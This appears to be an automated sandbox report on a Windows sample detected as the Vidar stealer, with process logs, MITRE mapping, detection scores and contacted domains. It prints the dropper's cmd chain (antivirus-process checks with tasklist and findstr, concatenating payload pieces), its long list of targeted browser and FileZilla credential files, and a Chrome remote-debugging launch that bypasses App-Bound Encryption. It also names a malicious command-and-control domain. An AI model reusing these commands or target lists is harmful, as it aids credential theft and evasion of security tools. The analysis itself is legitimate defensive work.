Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 402438	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "integratedintlhandlingwaterproofcbperformtreasurertim" Recording	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Coaches + ..\Hypothetical + ..\Nasty + ..\Fly + ..\Zum + ..\Disclose + ..\Expensive + ..\Argue N	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\402438\Suicide.com Suicide.com N	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: Suicide.com, 0000000A.00000000.1702658766.00000000002E6000.00000002.00000001.01000000.00000007.sdmp, Suicide.com.1.dr, Curtis.0.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	111 Masquerading	2 OS Credential Dumping	1 Security Software Discovery	Remote Services	11 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	11 Input Capture	3 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	2 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	14 System Information Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Yn13dTQdcW.exe	34%	ReversingLabs
Yn13dTQdcW.exe	22%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\402438\Suicide.com	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ikores.sbs	15%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://anglebug.com/4633	0%	Avira URL Cloud	safe
https://anglebug.com/7382	0%	Avira URL Cloud	safe
https://anglebug.com/7714	0%	Avira URL Cloud	safe
http://anglebug.com/6248	0%	Avira URL Cloud	safe
https://issuetracker.google.com/284462263	0%	Avira URL Cloud	safe
http://anglebug.com/6929	0%	Avira URL Cloud	safe
http://anglebug.com/5281	0%	Avira URL Cloud	safe
https://issuetracker.google.com/255411748	0%	Avira URL Cloud	safe
https://anglebug.com/7246	0%	Avira URL Cloud	safe
https://anglebug.com/7369	0%	Avira URL Cloud	safe
https://anglebug.com/7489	0%	Avira URL Cloud	safe
https://drive-daily-2.corp.google.com/	0%	Avira URL Cloud	safe
https://ikores.sbs/	100%	Avira URL Cloud	malware
https://issuetracker.google.com/161903006	0%	Avira URL Cloud	safe
https://drive-daily-1.corp.google.com/	0%	Avira URL Cloud	safe
https://drive-daily-5.corp.google.com/	0%	Avira URL Cloud	safe
http://anglebug.com/6248	0%	Virustotal		Browse
https://drive-daily-3.corp.googlP2	0%	Avira URL Cloud	safe
http://anglebug.com/3078	0%	Avira URL Cloud	safe
http://anglebug.com/4633	2%	Virustotal		Browse
https://anglebug.com/7382	0%	Virustotal		Browse
http://anglebug.com/7553	0%	Avira URL Cloud	safe
http://anglebug.com/5375	0%	Avira URL Cloud	safe
http://anglebug.com/5371	0%	Avira URL Cloud	safe
http://anglebug.com/4722	0%	Avira URL Cloud	safe
http://anglebug.com/7556	0%	Avira URL Cloud	safe
https://drive-preprod.corp.google.com/	0%	Avira URL Cloud	safe
http://anglebug.com/6692	0%	Avira URL Cloud	safe
https://issuetracker.google.com/258207403	0%	Avira URL Cloud	safe
http://anglebug.com/3502	0%	Avira URL Cloud	safe
http://anglebug.com/6929	0%	Virustotal		Browse
http://anglebug.com/3623	0%	Avira URL Cloud	safe
http://anglebug.com/3625	0%	Avira URL Cloud	safe
http://anglebug.com/3624	0%	Avira URL Cloud	safe
http://anglebug.com/5007	0%	Avira URL Cloud	safe
http://anglebug.com/3862	0%	Avira URL Cloud	safe
http://anglebug.com/4836	0%	Avira URL Cloud	safe
https://issuetracker.google.com/issues/166475273	0%	Avira URL Cloud	safe
http://anglebug.com/8280ty	0%	Avira URL Cloud	safe
http://anglebug.com/4384	0%	Avira URL Cloud	safe
http://anglebug.com/3970	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	false		high
www.google.com	172.217.21.36	true	false		high
ikores.sbs	5.75.212.196	true	true	15%, Virustotal, Browse	unknown
LsPLJakEeBsUGsRzAQLUPOMOxfXyb.LsPLJakEeBsUGsRzAQLUPOMOxfXyb	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ikores.sbs/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000010.00000002.2725257801.000078C400104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000010.00000002.2724958067.000078C40009C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000010.00000002.2726865760.000078C4004D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	9R1D2D.10.dr	false		high
https://issuetracker.google.com/284462263	chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000010.00000003.2660325626.000078C400F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660907593.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660364108.000078C401070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661059265.000078C400FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660872042.000078C400CF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2659915954.000078C401044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660023682.000078C401054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660952834.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660054702.000078C4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726245075.000078C4002F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/:	chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000010.00000002.2729512501.000078C400A23000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2729480786.000078C400A0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/il	chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Hl	chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000010.00000002.2729999238.000078C400A2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 00000010.00000002.2729296549.000078C40098C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733175675.000078C400F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728770316.000078C4008B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	9R1D2D.10.dr	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	Suicide.com, 0000000A.00000000.1702752376.00000000002F9000.00000002.00000001.01000000.00000007.sdmp, Suicide.com.1.dr, Curtis.0.dr	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
